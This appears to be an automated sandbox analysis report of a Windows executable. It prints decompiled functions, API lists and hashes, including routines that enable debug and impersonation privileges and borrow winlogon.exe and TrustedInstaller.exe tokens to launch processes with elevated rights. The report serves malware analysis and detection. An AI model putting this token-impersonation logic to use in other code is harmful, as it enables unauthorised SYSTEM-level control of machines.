Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Environment_wtoiwcschr$ExpandStrings$AffinityMaskProcess$PathSearchVariable_snwprintfmemcpywcscpywcslenwcsrchr
String ID: "%s" %s$16BITCOLOR$256COLOR$640X480$D$DISABLEDWM$DISABLETHEMES$HIGHDPIAWARE$RunAsInvoker$__COMPAT_LAYER
API String ID: 2452314994-435178042
Opcode ID: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction ID: b54a7db1e05dda42e7bfc3830e2036fe484084dd7c1f23c6c807eede0ded9d8d
Opcode Fuzzy Hash: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction Fuzzy Hash: 03F14F72900218AADB20EFA5CD85ADEB7B8EF04304F1045BBE619B71D1D7789A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408533, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00408533(void* __ecx, void* __edx, void* __eflags, char _a8, intOrPtr _a12, char _a32, WCHAR* _a40, WCHAR* _a44, intOrPtr _a48, WCHAR* _a52, WCHAR* _a56, char _a60, int _a64, char* _a68, int _a72, char _a76, int _a80, char* _a84, int _a88, long _a92, void _a94, long _a620, void _a622, char _a1132, char _a1148, WCHAR* _a3196, WCHAR* _a3200, WCHAR* _a3204, WCHAR* _a3208, void* _a3212, char _a3216, int _a5264, int _a5268, int _a5272, int _a5276, int _a5280, char _a5288, char _a5292, int _a7340, int _a7344, int _a7348, int _a7352, int _a7356) {
				char _v0;
				WCHAR* _v4;
				void* __edi;
				void* __esi;
				void* _t76;
				void* _t82;
				wchar_t* _t85;
				void* _t86;
				void* _t87;
				intOrPtr _t92;
				wchar_t* _t93;
				intOrPtr _t95;
				int _t106;
				char* _t110;
				intOrPtr _t115;
				wchar_t* _t117;
				intOrPtr _t124;
				wchar_t* _t125;
				intOrPtr _t131;
				wchar_t* _t132;
				int _t156;
				void* _t159;
				intOrPtr _t162;
				void* _t177;
				void* _t178;
				void* _t179;
				intOrPtr _t181;
				int _t187;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr _t198;
				signed int _t205;
				signed int _t206;

				_t179 = __edx;
				_t158 = __ecx;
				_t206 = _t205 & 0xfffffff8;
				E0040B550(0x1ccc, __ecx);
				_t76 = E0040313D(_t158);
				if(_t76 != 0) {
					E0040AC52();
					SetErrorMode(0x8001); // executed
					_t156 = 0;
					 *0x40fa70 = 0x11223344;
					EnumResourceTypesW(GetModuleHandleW(0), E0040A3C1, 0); // executed
					_t82 = E00405497( &_a8);
					_a48 = 0x20;
					_a40 = 0;
					_a52 = 0;
					_a44 = 0;
					_a56 = 0;
					E004056B5(_t158, __eflags, _t82, _a12);
					E00408F48(_t158, __eflags, L"SeDebugPrivilege"); // executed
					 *_t206 = L"/SpecialRun";
					_t85 = E0040585C( &_v0);
					__eflags = _t85;
					if(_t85 != 0) {
						L8:
						_t86 = E0040585C( &_a8, L"/Run");
						__eflags = _t86 - _t156;
						if(_t86 < _t156) {
							_t87 = E0040585C( &_a8, L"/cfg");
							__eflags = _t87 - _t156;
							if(_t87 >= _t156) {
								_t162 =  *0x40fa74; // 0x4101c8
								_t41 = _t87 + 1; // 0x1
								ExpandEnvironmentStringsW(E0040584C( &_a8, _t41), _t162 + 0x5504, 0x104);
								_t115 =  *0x40fa74; // 0x4101c8
								_t117 = wcschr(_t115 + 0x5504, 0x5c);
								__eflags = _t117;
								if(_t117 == 0) {
									_a92 = _t156;
									memset( &_a94, _t156, 0x208);
									_a620 = _t156;
									memset( &_a622, _t156, 0x208);
									GetCurrentDirectoryW(0x104,  &_a92);
									_t124 =  *0x40fa74; // 0x4101c8
									_t125 = _t124 + 0x5504;
									_v4 = _t125;
									_t187 = wcslen(_t125);
									_t51 = wcslen( &_a92) + 1; // 0x1
									__eflags = _t187 + _t51 - 0x104;
									if(_t187 + _t51 >= 0x104) {
										_a620 = _t156;
									} else {
										E00404BE4( &_a620,  &_a92, _v4);
									}
									_t131 =  *0x40fa74; // 0x4101c8
									_t132 = _t131 + 0x5504;
									__eflags = _t132;
									wcscpy(_t132,  &_a620);
								}
							}
							E00402F31(_t156);
							_t181 =  *0x40fa74; // 0x4101c8
							_pop(_t159);
							_a84 =  &_a8;
							_a76 = 0x40cb0c;
							_a88 = _t156;
							_a80 = _t156;
							E0040177C( &_a76, _t181 + 0x10, __eflags, _t156);
							_t92 =  *0x40fa74; // 0x4101c8
							__eflags =  *((intOrPtr*)(_t92 + 0x5710)) - _t156;
							if( *((intOrPtr*)(_t92 + 0x5710)) == _t156) {
								_t93 = E0040585C( &_a8, L"/savelangfile");
								__eflags = _t93;
								if(_t93 < 0) {
									E00406420();
									__imp__CoInitialize(_t156);
									_t95 =  *0x40fa74; // 0x4101c8
									E00408910(_t95 + 0x10, _t159, 0x416f60);
									 *((intOrPtr*)( *0x4158e0 + 8))(_t156);
									_t198 =  *0x40fa74; // 0x4101c8
									E00408910(0x416f60, 0x4158e0, _t198 + 0x10);
									E00402F31(1);
									__imp__CoUninitialize();
								} else {
									E004065BE(_t159);
								}
								goto L7;
							} else {
								_t64 = _t92 + 0x10; // 0x4101d8
								_a7356 = _t156;
								_a7352 = _t156;
								_a7340 = _t156;
								_a7344 = _t156;
								_a7348 = _t156;
								_t156 = E00401D40(_t179, _t64,  &_a5292);
								_t110 =  &_a5288;
								L6:
								E004035FB(_t110);
								L7:
								E004054B9( &_v0);
								E004099D4( &_a32);
								E004054B9( &_v0);
								_t106 = _t156;
								goto L2;
							}
						}
						_t26 = _t86 + 1; // 0x1
						_t173 = _t26;
						__eflags =  *((intOrPtr*)(E0040584C( &_a8, _t26))) - _t156;
						if(__eflags == 0) {
							E00402F31(_t156);
						} else {
							E00402FC6(_t173, __eflags, _t138);
						}
						_t188 =  *0x40fa74; // 0x4101c8
						_a68 =  &_a8;
						_a60 = 0x40cb0c;
						_a72 = _t156;
						_a64 = _t156;
						E0040177C( &_a60, _t188 + 0x10, __eflags, _t156);
						_t190 =  *0x40fa74; // 0x4101c8
						_a5280 = _t156;
						_a5276 = _t156;
						_a5264 = _t156;
						_a5268 = _t156;
						_a5272 = _t156;
						_t156 = E00401D40(_t179, _t190 + 0x10,  &_a3216);
						_t110 =  &_a3212;
						goto L6;
					}
					__eflags = _a56 - 3;
					if(_a56 != 3) {
						goto L8;
					}
					__eflags = 1;
					_a3212 = 0;
					_a3208 = 0;
					_a3196 = 0;
					_a3200 = 0;
					_a3204 = 0;
					_v4 = 0;
					_v0 = 0;
					swscanf(E0040584C( &_v0, 1), L"%I64x",  &_v4);
					_t177 = 2;
					_push(E0040584C( &_v0, _t177));
					L0040B1F8();
					_pop(_t178);
					_t156 = E00401AC9(_t178, _t179, __eflags,  &_a1148, _v4, _v0, _t152);
					_t110 =  &_a1132;
					goto L6;
				} else {
					_t106 = _t76 + 1;
					L2:
					return _t106;
				}
			}

0x00408533
0x00408533
0x00408536
0x0040853e
0x00408546
0x0040854d
0x00408559
0x00408563
0x00408569
0x00408572
0x00408583
0x0040858d
0x00408595
0x0040859e
0x004085a2
0x004085a6
0x004085aa
0x004085ae
0x004085b8
0x004085c1
0x004085c8
0x004085cd
0x004085cf
0x0040867f
0x00408688
0x0040868d
0x0040868f
0x00408730
0x00408735
0x00408737
0x0040873d
0x00408750
0x0040875d
0x00408763
0x00408770
0x00408775
0x00408779
0x0040878b
0x00408790
0x004087a2
0x004087aa
0x004087b8
0x004087be
0x004087c3
0x004087c9
0x004087d2
0x004087df
0x004087e3
0x004087e6
0x00408801
0x004087e8
0x004087f8
0x004087fe
0x00408811
0x00408816
0x00408816
0x0040881c
0x00408822
0x00408779
0x00408824
0x00408829
0x00408833
0x00408834
0x00408840
0x00408848
0x0040884c
0x00408850
0x00408855
0x0040885a
0x00408860
0x004088ac
0x004088b1
0x004088b3
0x004088bf
0x004088c5
0x004088cb
0x004088da
0x004088ea
0x004088ed
0x004088f8
0x004088ff
0x00408905
0x004088b5
0x004088b5
0x004088b5
0x00000000
0x00408862
0x00408862
0x0040886d
0x00408874
0x0040887b
0x00408882
0x00408889
0x00408895
0x00408897
0x00408658
0x00408658
0x0040865d
0x00408661
0x0040866a
0x00408673
0x00408678
0x00000000
0x00408678
0x00408860
0x00408695
0x00408695
0x0040869f
0x004086a2
0x004086af
0x004086a4
0x004086a7
0x004086a7
0x004086b4
0x004086bf
0x004086cb
0x004086d3
0x004086d7
0x004086db
0x004086e0
0x004086f1
0x004086f8
0x004086ff
0x00408706
0x0040870d
0x00408719
0x0040871b
0x00000000
0x0040871b
0x004085d5
0x004085da
0x00000000
0x00000000
0x004085ec
0x004085ef
0x004085f6
0x004085fd
0x00408604
0x0040860b
0x00408612
0x00408616
0x00408620
0x0040862a
0x00408632
0x00408633
0x00408638
0x0040864f
0x00408651
0x00000000
0x0040854f
0x0040854f
0x00408550
0x00408556
0x00408556

APIs

Part of subcall function 0040313D: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
Part of subcall function 0040313D: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
Part of subcall function 0040313D: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
Part of subcall function 0040313D: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408563
GetModuleHandleW.KERNEL32(00000000,0040A3C1,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040857C
EnumResourceTypesW.KERNEL32 ref: 00408583
swscanf.MSVCRT ref: 00408620
_wtoi.MSVCRT ref: 00408633

Strings

, xrefs: 00408595
%I64x, xrefs: 004085E7
/cfg, xrefs: 00408727
SeDebugPrivilege, xrefs: 004085B3
/Run, xrefs: 0040867F
/savelangfile, xrefs: 004088A3
`oA, xrefs: 004088D0
XA, xrefs: 004088E5

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes_wtoiswscanf
String ID: $%I64x$/Run$/cfg$/savelangfile$SeDebugPrivilege$`oA$XA
API String ID: 3933224404-3784219877
Opcode ID: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction ID: 6a1ad454fb11d14b300c4ed281ce3bcdfe782ea4983c0409628bf6e0aeb57f2c
Opcode Fuzzy Hash: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction Fuzzy Hash: 7FA16F71508340DBD720EF65DD8599BB7E8FB88308F50493FF588A3292DB3899098F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401FE6, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 243
processCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401FE6(void* __eax, void* __ecx, void* __edx, WCHAR* _a4, WCHAR* _a8, long _a12, void* _a16, WCHAR* _a20, struct _STARTUPINFOW* _a24, struct _PROCESS_INFORMATION* _a28) {
				int _v8;
				long _v12;
				wchar_t* _v16;
				void _v546;
				long _v548;
				void _v1074;
				char _v1076;
				void* __esi;
				long _t84;
				int _t87;
				wchar_t* _t88;
				int _t92;
				void* _t93;
				int _t94;
				int _t96;
				int _t99;
				int _t104;
				long _t105;
				int _t110;
				void** _t112;
				int _t113;
				intOrPtr _t131;
				wchar_t* _t132;
				int* _t148;
				wchar_t* _t149;
				int _t151;
				void* _t152;
				void* _t153;
				int _t154;
				void* _t155;
				long _t160;

				_t145 = __edx;
				_t152 = __ecx;
				_t131 =  *((intOrPtr*)(__eax + 0x44a8));
				_v12 = 0;
				if(_t131 != 4) {
					__eflags = _t131 - 5;
					if(_t131 != 5) {
						__eflags = _t131 - 9;
						if(__eflags != 0) {
							__eflags = _t131 - 8;
							if(_t131 != 8) {
								__eflags = _t131 - 6;
								if(_t131 != 6) {
									__eflags = _t131 - 7;
									if(_t131 != 7) {
										__eflags = CreateProcessW(_a4, _a8, 0, 0, 0, _a12, _a16, _a20, _a24, _a28);
									} else {
										_t132 = __eax + 0x46b6;
										_t148 = __eax + 0x48b6;
										__eflags =  *_t148;
										_v16 = _t132;
										_v8 = __eax + 0x4ab6;
										if( *_t148 == 0) {
											_t88 = wcschr(_t132, 0x40);
											__eflags = _t88;
											if(_t88 != 0) {
												_t148 = 0;
												__eflags = 0;
											}
										}
										_t153 = _t152 + 0x800;
										E0040289F(_t153);
										_t154 =  *(_t153 + 0xc);
										__eflags = _t154;
										if(_t154 == 0) {
											_t87 = 0;
											__eflags = 0;
										} else {
											_t87 =  *_t154(_v16, _t148, _v8, 1, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
										}
										__eflags = _t87;
									}
									if(__eflags == 0) {
										_t84 = GetLastError();
										L43:
										_v12 = _t84;
									}
									goto L44;
								}
								__eflags = E00401D99(__eax + 0x44ac, __edx);
								if(__eflags == 0) {
									goto L44;
								}
								_t92 = E0040A46C(_t131, __eflags,  &_a28, _t90, _a4, _a8, _a12, _a20, _a24, _a28);
								__eflags = _t92;
								if(_t92 != 0) {
									goto L44;
								}
								_t84 = _a28;
								goto L43;
							}
							_t93 = OpenSCManagerW(0, L"ServicesActive", 0x35); // executed
							__eflags = _t93;
							if(_t93 != 0) {
								E00401306(_t93); // executed
							}
							_v8 = 0;
							_t94 = E00401F04(_t145, _t152); // executed
							__eflags = _t94;
							_v12 = _t94;
							if(__eflags == 0) {
								_t96 = E00401DF9(_t145, __eflags, _t152, L"TrustedInstaller.exe",  &_v8); // executed
								__eflags = _t96;
								_v12 = _t96;
								if(_t96 == 0) {
									_t99 = E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
									__eflags = _t99;
									if(_t99 == 0) {
										_v12 = GetLastError();
									}
									CloseHandle(_v8); // executed
								}
								RevertToSelf(); // executed
							}
							goto L44;
						}
						_t104 = E0040598B(__edx, __eflags, __eax + 0x46b6);
						__eflags = _t104;
						if(_t104 == 0) {
							goto L44;
						}
						_v8 = 0;
						_t105 = E00401E44(_t152, _t104,  &_v8);
						goto L14;
					}
					_t149 = __eax + 0x44ac;
					_t110 = wcslen(_t149);
					__eflags = _t110;
					if(_t110 <= 0) {
						goto L44;
					} else {
						_v8 = 0;
						__eflags = E00404EA9(_t149, _t110);
						_t112 =  &_v8;
						_push(_t112);
						_push(_t149);
						if(__eflags == 0) {
							_push(_t152);
							_t113 = E00401DF9(_t145, __eflags);
						} else {
							L0040B1F8();
							_push(_t112);
							_push(_t152);
							_t113 = E00401E44();
						}
						_v12 = _t113;
						__eflags = _t113;
						goto L15;
					}
				} else {
					_v548 = 0;
					memset( &_v546, 0, 0x208);
					_v1076 = 0;
					memset( &_v1074, 0, 0x208);
					E00404C3C( &_v548);
					 *((intOrPtr*)(_t155 + 0x18)) = L"winlogon.exe";
					_t151 = wcslen(??);
					_t10 = wcslen( &_v548) + 1; // 0x1
					_t159 = _t151 + _t10 - 0x104;
					if(_t151 + _t10 >= 0x104) {
						_v1076 = 0;
					} else {
						E00404BE4( &_v1076,  &_v548, L"winlogon.exe");
					}
					_v8 = 0;
					_t105 = E00401DF9(_t145, _t159, _t152,  &_v1076,  &_v8);
					L14:
					_t160 = _t105;
					_v12 = _t105;
					L15:
					if(_t160 == 0) {
						if(E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28) == 0) {
							_v12 = GetLastError();
						}
						CloseHandle(_v8);
					}
					L44:
					return _v12;
				}
			}

0x00401fe6
0x00401ff1
0x00401ff3
0x00401fff
0x00402002
0x004020a8
0x004020ab
0x004020f3
0x004020f6
0x00402162
0x00402165
0x004021f2
0x004021f5
0x00402235
0x00402238
0x004022be
0x0040223a
0x0040223a
0x00402240
0x0040224b
0x0040224e
0x00402251
0x00402254
0x00402259
0x0040225e
0x00402262
0x00402264
0x00402264
0x00402264
0x00402262
0x00402266
0x0040226c
0x00402271
0x00402274
0x00402276
0x0040229a
0x0040229a
0x00402278
0x00402296
0x00402296
0x0040229c
0x0040229c
0x004022c0
0x004022c2
0x004022c8
0x004022c8
0x004022c8
0x00000000
0x004022c0
0x00402201
0x00402203
0x00000000
0x00000000
0x00402220
0x00402225
0x00402227
0x00000000
0x00000000
0x0040222d
0x00000000
0x0040222d
0x00402173
0x00402179
0x0040217b
0x0040217e
0x00402183
0x00402185
0x00402188
0x0040218d
0x0040218f
0x00402192
0x004021a2
0x004021a7
0x004021a9
0x004021ac
0x004021cc
0x004021d1
0x004021d3
0x004021db
0x004021db
0x004021e1
0x004021e1
0x004021e7
0x004021e7
0x00000000
0x00402192
0x004020fe
0x00402103
0x00402105
0x00000000
0x00000000
0x00402111
0x00402114
0x00000000
0x00402114
0x004020ad
0x004020b4
0x004020b9
0x004020bc
0x00000000
0x004020c2
0x004020c4
0x004020ce
0x004020d0
0x004020d3
0x004020d4
0x004020d5
0x004020e6
0x004020e7
0x004020d7
0x004020d7
0x004020dd
0x004020de
0x004020df
0x004020df
0x004020ec
0x004020ef
0x00000000
0x004020ef
0x00402008
0x00402016
0x0040201d
0x0040202e
0x00402035
0x00402044
0x00402049
0x00402055
0x00402064
0x00402068
0x0040206e
0x0040208b
0x00402070
0x00402082
0x00402088
0x0040209e
0x004020a1
0x00402119
0x00402119
0x0040211b
0x0040211e
0x0040211e
0x00402149
0x00402151
0x00402151
0x00402157
0x00402157
0x004022cb
0x004022d2
0x004022d2

APIs

memset.MSVCRT ref: 0040201D
memset.MSVCRT ref: 00402035

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00402050
wcslen.MSVCRT ref: 0040205F
wcslen.MSVCRT ref: 004020B4
_wtoi.MSVCRT ref: 004020D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 0040214B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 00402157
OpenSCManagerW.SECHOST(00000000,ServicesActive,00000035,?,?,00000000), ref: 00402173
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021D5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021E1
RevertToSelf.KERNELBASE(?,TrustedInstaller.exe,?,?), ref: 004021E7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Part of subcall function 0040598B: memset.MSVCRT ref: 004059B5
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 004059FA
Part of subcall function 0040598B: wcschr.MSVCRT ref: 00405A0E
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 00405A20
Part of subcall function 0040598B: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
Part of subcall function 0040598B: OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
Part of subcall function 0040598B: CloseHandle.KERNEL32(?), ref: 00405A5A
Part of subcall function 0040598B: CloseHandle.KERNEL32(00000000), ref: 00405A61

Part of subcall function 00401E44: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

wcschr.MSVCRT ref: 00402259
CreateProcessW.KERNEL32 ref: 004022B8
GetLastError.KERNEL32(?,?,00000000), ref: 004022C2

Strings

ServicesActive, xrefs: 0040216D
TrustedInstaller.exe, xrefs: 0040219C
winlogon.exe, xrefs: 00402049, 00402076

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$OpenProcess$ErrorLastmemsetwcslen$_wcsicmpwcschrwcscpy$CreateDirectoryManagerRevertSelfSystemToken_wtoiwcscat
String ID: ServicesActive$TrustedInstaller.exe$winlogon.exe
API String ID: 3201562063-2355939583
Opcode ID: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction ID: ccbcfbde9fdc9ff515b0a1e4c69409fc0ea490cdea51ab3e51e2115b03466e24
Opcode Fuzzy Hash: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction Fuzzy Hash: 02813A76800209EACF11AFE0CD899AE7BA9FF08308F10457AFA05B21D1D7798A549B59

Uniqueness

Uniqueness Score: -1.00%

Function 00409921, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409921(struct HINSTANCE__** __esi) {
				void* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t12;
				CHAR* _t13;
				intOrPtr* _t17;

				if( *__esi == 0) {
					_t7 = E00405436(L"psapi.dll"); // executed
					 *_t17 = "GetModuleBaseNameW";
					 *__esi = _t7;
					__esi[1] = GetProcAddress(_t7, _t13);
					__esi[2] = GetProcAddress( *__esi, "EnumProcessModules");
					__esi[4] = GetProcAddress( *__esi, "GetModuleFileNameExW");
					__esi[5] = GetProcAddress( *__esi, "EnumProcesses");
					_t12 = GetProcAddress( *__esi, "GetModuleInformation");
					__esi[3] = _t12;
					return _t12;
				}
				return _t6;
			}

0x00409924
0x0040992c
0x00409937
0x0040993f
0x0040994a
0x00409956
0x00409962
0x0040996e
0x00409971
0x00409973
0x00000000
0x00409976
0x00409977

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

Strings

GetModuleBaseNameW, xrefs: 00409937
EnumProcessModules, xrefs: 00409943
GetModuleFileNameExW, xrefs: 0040994F
GetModuleInformation, xrefs: 00409967
EnumProcesses, xrefs: 0040995B
psapi.dll, xrefs: 00409927

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad$memsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1529661771-70141382
Opcode ID: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction ID: 092d130926b261125bd3b69643a6c94717898c68ce40be050c227dd31faca138
Opcode Fuzzy Hash: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction Fuzzy Hash: C7F0D4B4D40704AECB306FB59C09E16BAE1EFA8700B614D3EE0C1A3290D7799044CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C6, Relevance: 18.1, APIs: 12, Instructions: 134COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040C390,00000070), ref: 0040B2D5
__set_app_type.MSVCRT ref: 0040B334
__p__fmode.MSVCRT ref: 0040B349
__p__commode.MSVCRT ref: 0040B357
__setusermatherr.MSVCRT ref: 0040B383
_initterm.MSVCRT ref: 0040B399
__wgetmainargs.KERNELBASE ref: 0040B3BC
_initterm.MSVCRT ref: 0040B3CF
GetStartupInfoW.KERNEL32(?), ref: 0040B42C
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B452
exit.KERNELBASE ref: 0040B469
_cexit.MSVCRT ref: 0040B46F

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction ID: dde25c0b0dc41f5004a610fd87b0135bea3e3095e736c0cca49ec984ade2cc6a
Opcode Fuzzy Hash: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction Fuzzy Hash: 3D519E71C50604DBCB20AFA4D9889AD77B4FB04710F60823BE861B72D2D7394D82CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401F04, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401F04(void* __edx, intOrPtr _a4) {
				int _v8;
				void _v538;
				long _v540;
				void _v1066;
				char _v1068;
				long _t30;
				int _t33;
				int _t39;
				void* _t42;
				void* _t45;
				long _t49;

				_t45 = __edx;
				_v540 = 0;
				memset( &_v538, 0, 0x208);
				_v1068 = 0;
				memset( &_v1066, 0, 0x208);
				E00404C3C( &_v540);
				_t48 = L"winlogon.exe";
				_t39 = wcslen(L"winlogon.exe");
				_t8 = wcslen( &_v540) + 1; // 0x1
				_t53 = _t39 + _t8 - 0x104;
				_pop(_t42);
				if(_t39 + _t8 >= 0x104) {
					_v1068 = 0;
				} else {
					E00404BE4( &_v1068,  &_v540, _t48);
					_pop(_t42);
				}
				_v8 = 0;
				_t30 = E00401DF9(_t45, _t53, _a4,  &_v1068,  &_v8); // executed
				_t49 = _t30;
				_t54 = _t49;
				if(_t49 == 0) {
					E00408F48(_t42, _t54, L"SeImpersonatePrivilege"); // executed
					_t33 = ImpersonateLoggedOnUser(_v8); // executed
					if(_t33 == 0) {
						_t49 = GetLastError();
					}
					CloseHandle(_v8);
				}
				return _t49;
			}

0x00401f04
0x00401f20
0x00401f27
0x00401f38
0x00401f3f
0x00401f4e
0x00401f54
0x00401f5f
0x00401f6e
0x00401f72
0x00401f77
0x00401f78
0x00401f91
0x00401f7a
0x00401f88
0x00401f8e
0x00401f8e
0x00401fa6
0x00401fa9
0x00401fae
0x00401fb0
0x00401fb2
0x00401fb9
0x00401fc2
0x00401fca
0x00401fd2
0x00401fd2
0x00401fd7
0x00401fd7
0x00401fe3

APIs

memset.MSVCRT ref: 00401F27
memset.MSVCRT ref: 00401F3F

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00401F5A
wcslen.MSVCRT ref: 00401F69
ImpersonateLoggedOnUser.KERNELBASE(?,0040218D,?,?,?,?,?,?,?,00000000), ref: 00401FC2
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00401FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00401FD7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Strings

SeImpersonatePrivilege, xrefs: 00401FB4
winlogon.exe, xrefs: 00401F54, 00401F59, 00401F80

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

